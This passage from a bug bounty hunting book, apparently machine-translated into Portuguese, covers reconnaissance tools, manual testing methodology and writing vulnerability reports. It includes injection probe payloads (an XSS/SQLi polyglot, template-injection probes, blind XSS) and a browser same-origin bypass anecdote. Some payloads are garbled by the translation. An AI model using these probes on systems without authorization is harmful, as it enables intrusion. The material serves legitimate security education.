Por fim, procure aplicativos interessantes para testar. A importância dos aplicativos encontrados em subdomínios pode
ser difícil de determinar até que você se familiarize com eles, mas eles podem levar a grandes recompensas, como a
que Jasmin Landry encontrou quando escalou seu acesso SSH para uma execução remota de código, conforme
descrito no Capítulo 13 .
Existem algumas ferramentas que podem ajudá-lo a capturar sites. No momento em que escrevo, uso HTTPScreenShot
e Gowitness. O HTTPScreenShot é útil por dois motivos: primeiro, você pode usá-lo com uma lista de endereços IP e
ele irá capturá-los e enumerar outros subdomínios associados aos certificados SSL que ele analisa. Em segundo lugar,
agrupará seus resultados em grupos com base em se as páginas são 403 mensagens, 500 mensagens, usam os
mesmos sistemas de gerenciamento de conteúdo e assim por diante. A ferramenta também incluirá os cabeçalhos
HTTP encontrados, o que também é útil. Gowitness é uma alternativa rápida e leve para captura de tela. Costumo usar
isso quando tenho uma lista de URLs em vez de IPs. Ele também incluirá os cabeçalhos que recebe durante a captura
de tela. Por fim, enquanto não uso, o Acquatone é outra ferramenta que vale a pena mencionar. No momento em que
escrevo isso, ele foi reescrito recentemente em Go e inclui agrupamento, saída fácil de resultados para corresponder
ao formato exigido por outras ferramentas e outros recursos.
Depois de revisar seus subdomínios e reconhecimento visual, a próxima etapa é procurar conteúdo interessante.
Descoberta de conteúdo
Existem algumas maneiras diferentes de abordar a descoberta de conteúdo. Primeiro, você pode tentar descobrir
arquivos e diretórios forçando-os. O sucesso disso depende da lista de palavras que você usa; como mencionado,
SecLists fornece bons, particularmente as listas de jangada são as que eu uso. Com o tempo, você também pode
compilar sua própria lista de arquivos comumente encontrados se acompanhar os resultados desta etapa.
Assim que tiver uma lista de arquivos e nomes de diretórios, você terá algumas ferramentas para escolher. Costumo
usar Gobuster ou Burp Suite Pro. Gobuster é uma ferramenta de força bruta personalizável e rápida escrita em Go.
Dando a ele um domínio e uma lista de palavras, ele testará a existência de diretórios e arquivos e confirmará a
resposta do servidor. Além disso, a ferramenta de Meg, desenvolvida por Tom Hudson e também escrita em Go,
permite testar vários caminhos em vários hosts simultaneamente. Isso é ótimo quando você encontra muitos
subdomínios e deseja descobrir conteúdo em todos eles simultaneamente.
Como estou usando o Burp Suite Pro para fazer proxy do meu tráfego, usarei sua ferramenta de descoberta de
conteúdo integrada ou o Intruder. A ferramenta de descoberta de conteúdo do Burp é configurável e permite que você
use uma lista de palavras personalizada ou integrada, encontre permutações de extensão de arquivo, defina quantas
pastas aninhadas para força bruta e muito mais. Ao usar o Burp Intruder, enviarei uma solicitação para o
Começando 192
domínio que estou testando para Intruder e defina a carga útil no final do caminho raiz. Em seguida, adicionarei
minha lista como carga útil e executarei o ataque. Normalmente, classificarei meus resultados com base no
tamanho do conteúdo ou no status da resposta, dependendo de como o aplicativo responde. Se eu descobrir
uma pasta interessante dessa maneira, posso executar o Intruder novamente nessa pasta para descobrir
arquivos aninhados.
Quando você precisa ir além da força bruta de arquivos e diretórios, o Google Dorking, conforme descrito na
vulnerabilidade que Brett Buerhaus encontrou no Capítulo 10, também pode fornecer algumas descobertas
interessantes de conteúdo. O Google Dorking pode economizar seu tempo, especialmente quando você
encontra parâmetros de URL comumente associados a vulnerabilidades como url, redirect_to, id e assim por
diante. O Exploit DB mantém um banco de dados do Google Dorks para casos de uso específicos, que você
pode encontrar em https://www.exploit-db.com/google-hacking-database/.
Outra abordagem para encontrar conteúdo interessante é verificar o GitHub da empresa. Você pode encontrar
repositórios de código aberto da empresa ou informações úteis sobre as tecnologias que eles usam. Foi assim
que Michiel Prins descobriu a execução remota de código no Algolia, conforme discutido no Capítulo 12. Você
pode usar a ferramenta GitRob para rastrear repositórios GitHub em busca de segredos de aplicativos e
outras informações confidenciais. Além disso, você também pode revisar repositórios de código e encontrar
bibliotecas de terceiros nas quais um aplicativo está confiando. Se você conseguir encontrar um projeto
abandonado ou vulnerabilidade no terceiro que afeta o site, ambos podem valer uma recompensa por bug. Os
repositórios de código também podem fornecer informações sobre como uma empresa lidou com
vulnerabilidades anteriores, especialmente para empresas como o GitLab, que são de código aberto.
Bugs Anteriores
Uma das últimas etapas que recomendo no reconhecimento é se familiarizar com os bugs anteriores. Escritos
de hackers, relatórios divulgados, CVEs, explorações publicadas e assim por diante são bons para isso.
Conforme repetido ao longo deste livro, só porque o código foi atualizado não significa que todas as
vulnerabilidades foram corrigidas. Certifique-se de testar as alterações. Quando uma correção é implantada,
isso também significa um novo código, que pode conter bugs.
O bug de $ 15.250 @cache-money encontrado no Shopify Partners foi o resultado da leitura de um relatório
de bug divulgado anteriormente e do novo teste da mesma funcionalidade. Como o @cache money, quando
vulnerabilidades interessantes ou novas são divulgadas publicamente, você deve ler o relatório e visitar o
aplicativo. Na pior das hipóteses, você não encontrará uma vulnerabilidade, mas desenvolverá novas
habilidades testando essa funcionalidade. Na melhor das hipóteses, você pode ignorar a correção do
desenvolvedor ou encontrar uma nova vulnerabilidade.
Depois de cobrir todas as principais áreas de reconhecimento, é hora de testar o aplicativo. Ao testar, lembre-
se de que o reconhecimento é uma parte contínua da descoberta de recompensas de bugs. É sempre uma
boa ideia revisitar, pois a superfície de ataque muda e evolui constantemente.
Começando 193
Testando o aplicativo
Não há uma abordagem única para testar um aplicativo. A metodologia e as técnicas usadas dependem
do tipo de aplicativo que você está testando, semelhante à forma como o escopo do programa pode
definir seu reconhecimento. Para os fins desta seção, fornecerei uma visão geral das considerações e
processos de pensamento a serem seguidos ao abordar um novo site. No entanto, independentemente
do aplicativo que você está testando, não há conselho melhor do que o de Matthias Karlsson
(@avlidienbrunn), “Não pense 'todo mundo já olhou, não sobrou nada'. Aproxime-se de cada alvo como
se ninguém tivesse feito isso antes.
Não encontra nada? Escolha outro.”
A pilha de tecnologia
Uma das primeiras coisas que faço ao testar um novo aplicativo é identificar as tecnologias que ele está
usando. Isso inclui, mas não está limitado a, estruturas de front-end JavaScript, estruturas de aplicativos
do lado do servidor, serviços de terceiros, arquivos hospedados localmente, arquivos remotos e assim
por diante. Normalmente faço isso observando meu histórico de proxy da web e anotando os arquivos
servidos, os domínios capturados no histórico, se os modelos HTML são servidos, qualquer conteúdo
JSON retornado e assim por diante. O plug-in Wappalyzer do Firefox também é muito útil para tecnologias
de impressão digital rápida.
Enquanto faço isso, costumo deixar a configuração padrão do Burp Suite habilitada e percorrer o site para
entender a funcionalidade e observar padrões de design interessantes. Isso me permite refinar os tipos
de payloads que usarei em meus testes, como Orange fez quando encontrou o Flask RCE no Uber no
Capítulo 13. Por exemplo, se um site estiver usando AngularJS, teste {{7*7}} para ver se 49 é renderizado
em qualquer lugar. Se o aplicativo for construído com ASP.NET com proteção XSS habilitada, você pode
querer se concentrar em testar outros tipos de vulnerabilidade primeiro e verificar o XSS como último
recurso.
Se você reconhece que um site é construído com Rails, deve saber que as URLs geralmente seguem
um padrão /CONTENT_TYPE/RECORD_ID, onde RECORD_ID é um inteiro autoincrementado. Usando
o HackerOne como exemplo, as URLs dos relatórios seguem o padrão www.hackerone.com/reports/
12345. Como os aplicativos Rails geralmente usam IDs inteiros, isso significa que você pode priorizar o
teste de vulnerabilidades de referência direta a objetos inseguros, pois o tipo de vulnerabilidade é fácil de
ignorar.
Se você descobrir que uma API retorna JSON ou XML, talvez reconheça que essas chamadas de API
retornam involuntariamente informações confidenciais que não são renderizadas na página. Essas
chamadas podem ser uma boa superfície de teste e podem levar a vulnerabilidades de divulgação de informações.
Dos nossos tópicos, as coisas a serem lembradas nesta fase incluem:
• Formatos de conteúdo que um site espera ou aceita. Por exemplo, arquivos XML vêm em diferentes
Começando 194
formas e tamanhos e análise de XML sempre podem ser associados a vulnerabilidades XXE.
Fique atento a sites que aceitam .docx, xlsx, pptx ou outros tipos de arquivo XML. • Ferramentas
ou serviços de terceiros que são facilmente configurados incorretamente. Sempre que você ler relatórios
sobre hackers que exploram esses serviços, tente entender como esses repórteres descobriram a
vulnerabilidade e aplique isso ao seu teste. • Parâmetros codificados e como um aplicativo os manipula.
Estranhezas podem ser indicativas de vários serviços interagindo no back-end, que podem ser abusados.
• Mecanismos de autenticação implementados de forma personalizada, como fluxos OAuth. Diferenças
sutis em como um aplicativo lida com URLs de redirecionamento, codificação e parâmetros de estado
podem levar a vulnerabilidades significativas.
Mapeamento de funcionalidade
Depois de entender as tecnologias de um site, passo para o mapeamento de funcionalidade. Neste estágio,
ainda estou navegando, mas meu teste pode ser feito de algumas maneiras aqui: posso procurar marcadores
de vulnerabilidades, definir uma meta específica para meu teste ou seguir uma lista de verificação.
Quando procuro marcadores de vulnerabilidades, procuro comportamentos comumente associados a

vulnerabilidades. Por exemplo, o site permite que você crie webhooks com URLs?
Isso pode levar a vulnerabilidades do SSRF. Um site permite a representação do usuário? Isso pode levar à
divulgação de informações pessoais confidenciais. Você pode fazer upload de arquivos? Como e onde esses
arquivos são renderizados pode levar a uma vulnerabilidade de execução remota de código, XSS e assim por
diante. Quando encontro algo interessante, costumo parar e começar o teste do aplicativo, conforme descrito
na próxima seção, e procuro alguma indicação da existência de uma vulnerabilidade. Isso pode ser uma
mensagem inesperada retornada, um atraso no tempo de resposta, entrada não corrigida sendo retornada ou
uma verificação do lado do servidor sendo ignorada.
Por outro lado, quando defino e trabalho em direção a um objetivo, decido o que farei antes de testar o
aplicativo. O objetivo pode ser encontrar uma falsificação de solicitação do lado do servidor, inclusão de arquivo
local, execução remota de código ou alguma outra vulnerabilidade. Jobert Abma, co-fundador da HackerOne,
geralmente emprega e defende essa abordagem, e Philippe Harewood usou esse método quando descobriu
sua aquisição do aplicativo do Facebook. Com essa abordagem, você ignora todas as outras possibilidades e
se concentra inteiramente em seu objetivo final. Você só para e começa a testar se encontrar algo que leve ao
seu objetivo. Por exemplo, se você estiver procurando por uma vulnerabilidade de execução remota de código,
HTML não sanitizado retornado em um corpo de resposta não seria do seu interesse.
Por fim, você pode seguir uma lista de verificação. Tanto o OWASP quanto o livro Web Application Hacker's
Hand fornecem listas de verificação de teste abrangentes para usar ao revisar um aplicativo, portanto, não há
motivo para tentar superar qualquer um deles. Não sigo esse caminho porque pessoalmente o considero muito
monótono e que lembra mais um emprego do que um passatempo prazeroso. Independentemente disso,
seguir uma lista de verificação pode ajudá-lo a evitar a falta de vulnerabilidades de esquecer de testar coisas
específicas ou esquecer de seguir metodologias gerais (como revisar arquivos JavaScript).
Começando 195
Encontrando Vulnerabilidades
Agora que você já entendeu como o aplicativo funciona, é hora de começar a testar. Em vez de definir uma
meta específica ou usar uma lista de verificação, sugiro procurar um comportamento que possa indicar uma
vulnerabilidade para começar. Nesse estágio, você pode presumir que deve executar verificadores
automatizados, como o mecanismo de verificação do Burp, para procurar vulnerabilidades.
No entanto, isso não é permitido pela maioria dos programas que examinei, é desnecessariamente barulhento
e também não requer habilidade ou conhecimento. Em vez disso, você deve se concentrar no teste manual.
Se comecei o teste do meu aplicativo sem ter encontrado nada interessante para observar durante o
mapeamento de funcionalidade, começo a usar o site como se fosse um cliente. Eu vou criar conteúdo, usuários,
equipes ou o que o aplicativo fornecer. Ao fazer isso, geralmente envio cargas úteis sempre que a entrada é
aceita e procuro anomalias e comportamentos inesperados no site. Eu normalmente uso a carga <s>000'”)};–//,
que inclui todos os caracteres especiais que podem quebrar o contexto em que a carga é renderizada, seja
HTML, JavaScript ou uma consulta SQL de back-end. Esse tipo de carga útil costuma ser chamado de poliglota.
A tag <s> também é inocente, fácil de detectar quando renderizada sem sanitização em HTML (você veria o
texto tachado quando isso acontece) e frequentemente não é modificada quando um site está tentando sanitizar
a saída alterando a entrada.
Além disso, quando houver uma chance de o conteúdo que estou criando poder ser renderizado em um painel
de administração, como meu nome de usuário, endereço e assim por diante, usarei uma carga útil diferente
para direcionar o XSS cego do XSSHunter (uma ferramenta XSS discutida no Apêndice X). Por fim, se o site
estiver usando um mecanismo de modelo, também adicionarei cargas úteis associadas ao modelo. Para
Angular, isso seria semelhante a {{88}}[[55]], e eu procuraria 64 ou 25 a serem renderizados.
Embora eu nunca tenha encontrado uma injeção de modelo do lado do servidor no Rails, ainda tento a carga
útil <%= ls %> caso uma renderização inline apareça algum dia.
Embora isso cubra vulnerabilidades de tipo de injeção (como XSS, SQLi, SSTI e assim por diante), também não
requer muito pensamento crítico e pode rapidamente se tornar repetitivo e chato. Portanto, para evitar o
esgotamento, é importante ficar de olho no histórico do seu proxy para obter funcionalidades interessantes
comumente associadas a vulnerabilidades. Vulnerabilidades comuns e áreas a serem observadas incluem, mas
não estão limitadas a: - Vulnerabilidades CSRF - Os tipos de solicitações HTTP que alteram dados e se eles
têm tokens CSRF que os validam - IDORs - Se existem parâmetros de ID que pode ser manipulado - Lógica do
aplicativo - Oportunidades de repetir solicitações em duas contas de usuário separadas - XXEs - Qualquer XML
aceitando solicitações HTTP - Divulgações de informações - Qualquer conteúdo que deve ser garantido para
ser mantido privado - Redirecionamentos abertos - Quaisquer URLs que tenham um parâmetro relacionado ao
redirecionamento - CRLFs, XSS e alguns redirecionamentos abertos - Quaisquer solicitações que ecoam
parâmetros de URL na resposta - SQLi - Se adicionar uma aspa simples, colchete ou ponto-e-vírgula a um
parâmetro altera uma resposta - RCEs - Qualquer tipo de upload de arquivo ou manipulação de imagem -
Condições de corrida - Processamento de dados atrasado ou comportamentos relacionados ao tempo de uso
ou tempo de verificação - SSRFs - Funcionalidade que aceita URLs, como webhooks ou integrações externas -
Bugs de segurança não corrigidos - Informações do servidor divulgadas, como versões
Começando 196
de PHP, Apache, Nginx, e assim por diante, que podem revelar tecnologia ultrapassada
Infelizmente, esta lista é interminável e, sem dúvida, sempre evoluindo. Quando precisar de mais inspiração
sobre onde procurar por bugs, você sempre pode dar uma olhada nas seções de tópicos em cada capítulo
deste livro. Depois de explorar a funcionalidade e precisar de uma pausa nas solicitações HTTP, você pode
voltar ao bruteforcing de arquivos e diretórios para ver quais arquivos ou diretórios interessantes foram
descobertos, se houver. Você vai querer revisar essas descobertas e visitar as páginas e arquivos. Este
também é um ótimo momento para reavaliar o que você está forçando e determinar se há outras áreas nas
quais se concentrar. Por exemplo, se você descobriu um endpoint /api/, pode forçar novos caminhos nele. Às
vezes, isso pode levar a funcionalidades ocultas e não documentadas a serem testadas. Da mesma forma, se
você usou o Burp Suite para fazer proxy do seu tráfego HTTP, o Burp pode ter selecionado páginas adicionais
para verificar com base nos links que analisou das páginas que você já visitou. Essas páginas não visitadas,
que podem levar a funcionalidades não testadas, são cinza no Burp Suite para diferenciá-las dos links já
visitados.
Como mencionado anteriormente, hackear aplicativos da web não é mágica. Ser um caçador de insetos
requer um terço de conhecimento, um terço de observação e um terço de perseverança.
Aprofundar-se no aplicativo e testá-lo minuciosamente sem perder tempo é fundamental. Infelizmente,
reconhecer a diferença exige experiência.
Indo além
Depois de concluir todo o seu reconhecimento e testar minuciosamente todas as funcionalidades que
encontrar, é hora de encontrar mais maneiras de tornar sua pesquisa de bugs mais eficiente. Embora eu não
possa dizer exatamente como fazer isso em todas as situações, tenho algumas sugestões.
Uma maneira de economizar tempo é automatizando seu trabalho. Embora tenhamos usado algumas
ferramentas automatizadas neste capítulo, a maior parte de nossa invasão foi manual, o que significa que
estamos limitados pelo tempo. Para ultrapassar a barreira do tempo, você precisa de computadores para
hackear para você. Rojan Rijal (@uranium238) divulgou um bug do Shopify que descobriu cinco minutos
depois que o subdomínio em que encontrou o bug foi ativado. A rápida descoberta foi o resultado de
automatizar seu reconhecimento no Shopify. Como automatizar seu hacking está além do escopo deste livro
e também é totalmente possível ser um hacker de bug bounty bem-sucedido sem isso, mas é uma maneira
de os hackers aumentarem sua renda. Você pode automatizar começando com seu reconhecimento. Por
exemplo, você pode automatizar várias tarefas, como força bruta de subdomínio, varredura de portas e
reconhecimento visual, para citar algumas.
Outra oportunidade de encontrar mais bugs é observar quaisquer aplicativos móveis incluídos no escopo do
programa. Embora este livro tenha se concentrado em hacking na web, o hacking móvel oferece muitas novas
oportunidades para encontrar bugs. Na minha experiência, o hacking móvel pode ocorrer de duas maneiras:
testar o código do aplicativo diretamente ou testar as APIs com as quais o aplicativo interage. Costumo me
concentrar no último, pois é semelhante ao hacking da web
Começando 197
e posso me concentrar em tipos de vulnerabilidade como IDOR, SQLi, RCE e assim por diante. Para começar a
testar as APIs de aplicativos móveis, você precisará fazer proxy do tráfego do seu telefone enquanto usa o
aplicativo por meio do Burp. Essa é uma maneira de ver as chamadas HTTP sendo feitas para que você possa manipulá-las.
No entanto, às vezes, os aplicativos usam a fixação SSL, o que significa que eles não reconhecem ou usam o
certificado Burp SSL, portanto, você não pode fazer proxy do tráfego do aplicativo. Ignorar a pinagem SSL, fazer
proxy de seu telefone e hackear dispositivos móveis em geral está além do escopo deste livro, mas representa
uma grande oportunidade para um novo aprendizado.
A próxima área a ser focada é a identificação de novas funcionalidades à medida que são adicionadas ao aplicativo
que você está testando. Philippe Harewood é um exemplo incrível de alguém que domina essa habilidade. Entre
os, senão o, Hackers mais bem classificados no programa do Facebook, ele compartilha abertamente as
vulnerabilidades que descobre em seu site (https://philippeharewood.com/).
Suas anotações fazem referência rotineiramente a novas funcionalidades que ele descobriu e às vulnerabilidades
que encontrou antes de outras pessoas por causa de sua rápida identificação. Frans Rosen compartilhou parte de
sua metodologia para fazer isso no blog Detectify (https://blog.detectify.com/).
Para rastrear novas funcionalidades nos sites que você está testando, você pode ler os blogs de engenharia dos
sites que você testa, monitorar seus feeds de Twitter de engenharia, inscrever-se em seus boletins informativos e
assim por diante.
Você também pode descobrir novas funcionalidades do site rastreando arquivos JavaScript. Concentrar-se em
arquivos JavaScript é particularmente poderoso quando um site depende de quadros front-end JavaScript para
renderizar seu conteúdo. O aplicativo dependerá da inclusão da maioria dos pontos de extremidade HTTP usados
por um site em seus arquivos JavaScript. Alterações nos arquivos podem representar funcionalidades novas ou
alteradas que você pode testar. Jobert Abma, Brett Beurhaus e Ben Sadeghipour discutiram abordagens para fazer
isso. Você pode descobrir isso com uma rápida pesquisa no Google de seus nomes e reconhecimento.
Embora possa parecer contra-intuitivo quando você está tentando ganhar dinheiro com recompensas, você também
pode pagar pelo acesso à funcionalidade. Frans Rosen e Ron Chan discutiram seu sucesso pagando por novas
funcionalidades, e também tive sucesso pagando por produtos, assinaturas e serviços que aumentam meu
potencial escopo de teste.
É provável que outros não queiram pagar pela funcionalidade em sites que não usam de fato, portanto, a
funcionalidade tende a ter mais vulnerabilidades não descobertas. Por exemplo, Ron Chan pagou alguns milhares
de dólares para testar um aplicativo e encontrou um número significativo de vulnerabilidades que fizeram o
investimento valer a pena.
Por fim, examine as tecnologias, bibliotecas e software que você sabe que uma empresa está usando e aprenda
como eles funcionam em detalhes. Quanto mais você souber como uma tecnologia funciona, maior será a
probabilidade de encontrar erros em como ela está sendo usada nos aplicativos que você testa. Por exemplo, as
vulnerabilidades do ImageMagick do Capítulo 13 exigiam uma compreensão de como o ImageMagick e seus tipos
de arquivo definidos funcionam. Você pode encontrar vulnerabilidades adicionais observando outras tecnologias
vinculadas a bibliotecas como ImageMagick. Travis Ormandy fez isso quando revelou vulnerabilidades adicionais
no GhostScript, que o ImageMagick suporta. Da mesma forma, FileDescriptor discute em suas postagens de blog
que ele lê RFCs na funcionalidade da Web e se concentra em considerações de segurança para entender como
Começando 198
algo deve funcionar versus como é realmente implementado. Seu conhecimento íntimo de OAuth é
um ótimo exemplo de mergulho profundo em uma tecnologia que é usada por um grande número
de sites.
Resumo
Com este capítulo, tentei ajudar a lançar alguma luz sobre como poderia ser uma abordagem de
hacking com base em minha própria experiência e entrevistas com os principais hackers de bug bounty.
Até o momento, obtive mais sucesso depois de explorar um alvo, entender qual funcionalidade ele
fornece e mapeá-lo para tipos de vulnerabilidade para teste. No entanto, uma das áreas que continuo
a explorar e que incentivo você a examinar também é a automação e a documentação de sua
metodologia. Existem muitas ferramentas de hacking disponíveis que podem facilitar sua vida; Burp,
ZAP, Nmap e Gowitness são alguns dos poucos mencionados aqui. É uma boa ideia manter isso
em mente ao hackear para fazer melhor uso do seu tempo. Por fim, depois de esgotar os caminhos
típicos que você usaria para encontrar bugs, procure maneiras de tornar suas pesquisas de bugs
mais bem-sucedidas, aprofundando-se nos aplicativos móveis e nas novas funcionalidades
desenvolvidas nos sites que você está testando.
22. Relatórios de vulnerabilidade

Então finalmente chegou o dia e você encontrou sua primeira vulnerabilidade. Em primeiro lugar, parabéns!
Sério, encontrar vulnerabilidades não é fácil, mas desanimar sim.
Meu primeiro conselho é relaxar, não fique muito animado. Conheço a sensação de ficar muito feliz ao enviar um
relatório e o sentimento avassalador de rejeição quando você descobre que não é uma vulnerabilidade e a
empresa encerra o relatório, o que prejudica sua reputação na plataforma de relatórios.
Quero ajudá-lo a evitar isso. Então, a primeira coisa é a primeira.
Leia as diretrizes de divulgação.
Tanto no HackerOne quanto no Bugcrowd, cada empresa participante lista as áreas dentro e fora do escopo do
programa. Espero que você os leia primeiro para não perder seu tempo.
Mas se não leu, leia-os agora. Certifique-se de que o que você encontrou não seja conhecido e esteja fora do
programa deles.
Aqui está um exemplo doloroso do meu passado - a primeira vulnerabilidade que encontrei foi no Shopify, se você
enviar HTML malformado em seu editor de texto, seu analisador o corrigiria e armazenaria o XSS. Eu estava além
de animado. Minha caça estava valendo a pena. Não consegui enviar meu relatório rápido o suficiente.
Exultante, cliquei em enviar e esperei minha recompensa de $ 500. Em vez disso, eles educadamente me
disseram que era uma vulnerabilidade conhecida e pediram aos pesquisadores que não a apresentassem. O
ticket foi fechado e perdi 5 pontos. Eu queria rastejar em um buraco. Foi uma dura lição.
Aprenda com meus erros, LEIA AS DIRETRIZES!
Incluir Detalhes. Em seguida, inclua mais.
Se você deseja que seu relatório seja levado a sério, forneça um relatório detalhado que inclua, no mínimo:
• A URL e quaisquer parâmetros afetados usados para encontrar a vulnerabilidade • Uma

descrição do navegador, sistema operacional (se aplicável) e/ou versão do aplicativo
Relatórios de vulnerabilidade 200
• Uma descrição do impacto percebido. Como o bug poderia ser potencialmente explorado? • Etapas para
reproduzir o erro
Esses critérios eram todos comuns nas principais empresas do Hackerone, incluindo Yahoo, Twitter, Dropbox,
etc. Se você quiser ir além, recomendo que inclua uma captura de tela ou uma prova de conceito em vídeo
(POC). Ambos são extremamente úteis para as empresas e as ajudarão a entender a vulnerabilidade.
Nesta fase, você também precisa considerar quais são as implicações para o site. Por exemplo, um XSS
armazenado no Twitter tem potencial para ser um problema muito sério devido ao grande número de usuários
e interação entre eles. Comparativamente, um site com interação limitada entre os usuários pode não ver essa
vulnerabilidade como grave. Por outro lado, um vazamento de privacidade em um site sensível como o PornHub
pode ser mais importante do que no Twitter, onde a maioria das informações do usuário já é pública (e menos
embaraçosa?).
Confirme a vulnerabilidade
Você leu as diretrizes, redigiu seu relatório, incluiu capturas de tela. Reserve um segundo e verifique se o que
você está relatando é realmente uma vulnerabilidade.
Por exemplo, se você está relatando que uma empresa não usa um token CSRF em seus cabeçalhos, você
verificou se os parâmetros que estão sendo passados incluem um token que age como um token CSRF, mas
simplesmente não tem o mesmo rótulo?
Não posso encorajá-lo o suficiente para garantir que você confirmou a vulnerabilidade antes de enviar o
relatório. Pode ser uma grande decepção pensar que você encontrou uma vulnerabilidade significativa apenas
para perceber que interpretou mal algo durante seus testes.
Faça o favor a si mesmo, reserve um minuto extra e confirme a vulnerabilidade antes de enviá-la.
Mostrar respeito pela empresa

Com base em testes com o processo de criação de empresas do HackerOne (sim, você pode testá-lo como
pesquisador), quando uma empresa lança um novo programa de recompensas por bugs, ela pode ser inundada
com relatórios. Depois de enviar, dê à empresa a oportunidade de revisar seu relatório e entrar em contato com
você.
Algumas empresas publicam seus cronogramas em suas diretrizes de recompensas, enquanto outras não.
Equilibre sua empolgação com a carga de trabalho deles. Com base nas conversas que tive com o suporte do
HackerOne, eles o ajudarão a fazer o acompanhamento, caso você não tenha notícias de uma empresa há
pelo menos duas semanas.
Antes de seguir esse caminho, poste uma mensagem educada no relatório perguntando se há alguma atualização. Na
maioria das vezes, as empresas respondem e informam a situação. Se eles não derem um tempo e tentem novamente
antes de escalar o problema. Por outro lado, se a empresa confirmou a vulnerabilidade, trabalhe com ela para confirmar
a correção assim que estiver concluída.
Ao escrever este livro, tive a sorte de conversar com Adam Bacchus, um novo membro da equipe HackerOne desde
maio de 2016, que possui o título de Chief Bounty Officer e nossas conversas realmente abriram meus olhos para o
outro lado das recompensas por bugs. Como pano de fundo, Adam tem experiência com o Snapchat, onde trabalhou
para unir a equipe de segurança com o restante das equipes de engenharia de software e com o Google, onde
trabalhou na Equipe de gerenciamento de vulnerabilidades e ajudou a executar o Programa de recompensa de
vulnerabilidades do Google.
Adam me ajudou a entender que existem vários problemas que os triadores enfrentam ao executar um programa de
recompensas, incluindo:
• Ruído: Infelizmente, os programas de recompensas de bugs recebem muitos relatórios inválidos, tanto o
HackerOne quanto o BugCrowd escreveram sobre isso. Sei que definitivamente contribuí e espero que este
livro o ajude a evitá-lo, porque enviar relatórios inválidos custa tempo e dinheiro para você e para os programas
de recompensa. • Priorização: os programas de recompensa precisam encontrar alguma forma de priorizar a
correção de vulnerabilidades. Isso é difícil quando você tem várias vulnerabilidades com impacto semelhante, mas
combinadas com relatórios chegando continuamente, o programa de recompensas enfrenta sérios desafios para
acompanhar. • Confirmações: Ao fazer a triagem de um relatório, os bugs devem ser validados. Novamente,
isso leva tempo. É por isso que é imperativo que nós, hackers, forneçamos instruções claras e uma explicação
sobre o que encontramos, como reproduzi-lo e por que é importante.
Simplesmente fornecer um vídeo não é suficiente. •

Recursos: Nem todas as empresas podem se dar ao luxo de dedicar funcionários em tempo integral para
administrar um programa de recompensas. Alguns programas têm a sorte de ter uma única pessoa respondendo
aos relatórios, enquanto outros têm a equipe dividindo seu tempo. Como resultado, as empresas podem ter
horários rotativos em que as pessoas se revezam para responder aos relatórios. Quaisquer lacunas de
informação ou atrasos no fornecimento das informações necessárias têm um sério impacto. • Escrever a
correção: codificar leva tempo, especialmente se houver um ciclo de vida de desenvolvimento completo, incluindo
depuração, escrita de testes de regressão, implantação de estágios e, finalmente, um push para produção. E se
os desenvolvedores nem souberem a causa subjacente da vulnerabilidade? Isso tudo leva tempo enquanto nós,
os hackers, ficamos impacientes e queremos ser pagos. É aqui que linhas claras de comunicação são
fundamentais e, novamente, a necessidade de todos respeitarem uns aos outros. • Gerenciamento de
relacionamento: os programas de recompensa de bugs querem que os hackers voltem.
O HackerOne escreveu sobre como o impacto da vulnerabilidade cresce à medida que os hackers enviam mais
bugs para um único programa. Como resultado, os programas de recompensas precisam encontrar uma maneira
de encontrar um equilíbrio no desenvolvimento desses relacionamentos.
• Relações com a imprensa: sempre existe a pressão de que um bug pode passar despercebido, demorar muito
para ser resolvido ou uma recompensa é percebida como muito baixa e os hackers irão para o Twitter ou para a
mídia. Novamente, isso pesa sobre os triadores e tem impacto sobre como eles desenvolvem relacionamentos e
trabalham com hackers.
Tendo lido tudo isso, meu objetivo é realmente ajudar a humanizar esse processo. Eu tive experiências em ambas as
extremidades do espectro, boas e ruins. No entanto, no final do dia, hackers e programas estarão trabalhando juntos e
ter uma compreensão dos desafios que cada um enfrenta ajudará a melhorar os resultados ao redor.
Recompensas
Se você enviou uma vulnerabilidade a uma empresa que paga uma recompensa, respeite a decisão dela sobre o valor
do pagamento.
De acordo com Jobert Abma (co-fundador da HackerOne) no Quora, como posso me tornar um caçador de recompensas
de sucesso?1 :
Se você discordar sobre um valor recebido, discuta por que você acredita que ele merece uma recompensa
maior. Evite situações em que você pede outra recompensa sem explicar por que acredita nisso. Em troca,
uma empresa deve mostrar respeito [por] seu tempo e valor.
Não grite olá antes de atravessar o lago
Em 17 de março de 2016, Mathias Karlsson escreveu uma postagem de blog incrível sobre a possibilidade de encontrar
um desvio da política de mesma origem (SOP) (uma política de mesma origem é um recurso de segurança que define
como os navegadores permitem que os scripts acessem o conteúdo de sites) e foi legal o suficiente para deixar-me
incluir algum do conteúdo aqui. Como um aparte, Mathias tem um ótimo histórico no HackerOne - em 28 de março de
2016, ele é 97º percentil no Signal e 95º no Impact com 109 bugs encontrados, empresas como HackerOne, Uber,
Yahoo, CloudFlare, etc.
Então, “Não grite olá antes de cruzar o lago” é um ditado sueco que significa que você não deve comemorar até ter
certeza absoluta. Você provavelmente pode adivinhar por que estou incluindo isso - hackear não é só sol e arco-íris.
1https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter
De acordo com Mathias, ele estava brincando com o Firefox e notou que o navegador aceitava nomes de host
malformados (no OSX), então a URL http://example.com.. no cabeçalho do host. Ele então tentou http://
example.comevil.com e obteve o mesmo resultado.
Ele soube instantaneamente que esse SOP médio poderia ser ignorado porque o Flash trataria http://
example.com..evil.com como estando sob o domínio *.evil.com. Ele verificou o Alexa top 10000 e descobriu que
7% dos sites seriam exploráveis, incluindo o Yahoo.com.
Ele criou um artigo, mas decidiu fazer mais algumas confirmações. Ele verificou com um colega de trabalho, sim,
a máquina virtual deles também confirmou o bug. Ele atualizou o Firefox, sim, o bug ainda estava lá. Ele então
sugeriu no Twitter sobre a descoberta. Segundo ele, Bug = Verificado, certo?
Não. O erro que ele cometeu foi não atualizar seu sistema operacional para a versão mais recente. Depois de
fazer isso, o bug estava morto. Aparentemente, isso foi relatado seis meses antes e a atualização para OSX
Yosemite 10.10.5 corrigiu o problema.
Incluo isso para mostrar que mesmo grandes hackers podem errar e é importante confirmar a exploração de um
bug antes de denunciá-lo.
Muito obrigado a Mathias por me deixar incluir isso - recomendo verificar seu feed do Twitter @avlidienbrunn e
labs.detectify.com, onde Mathias escreveu sobre isso.
palavras de despedida
Espero que este capítulo tenha ajudado você e você esteja melhor preparado para escrever um relatório matador.
Antes de clicar em enviar, pense um pouco sobre o relatório - se fosse divulgado e lido publicamente, você ficaria
orgulhoso?
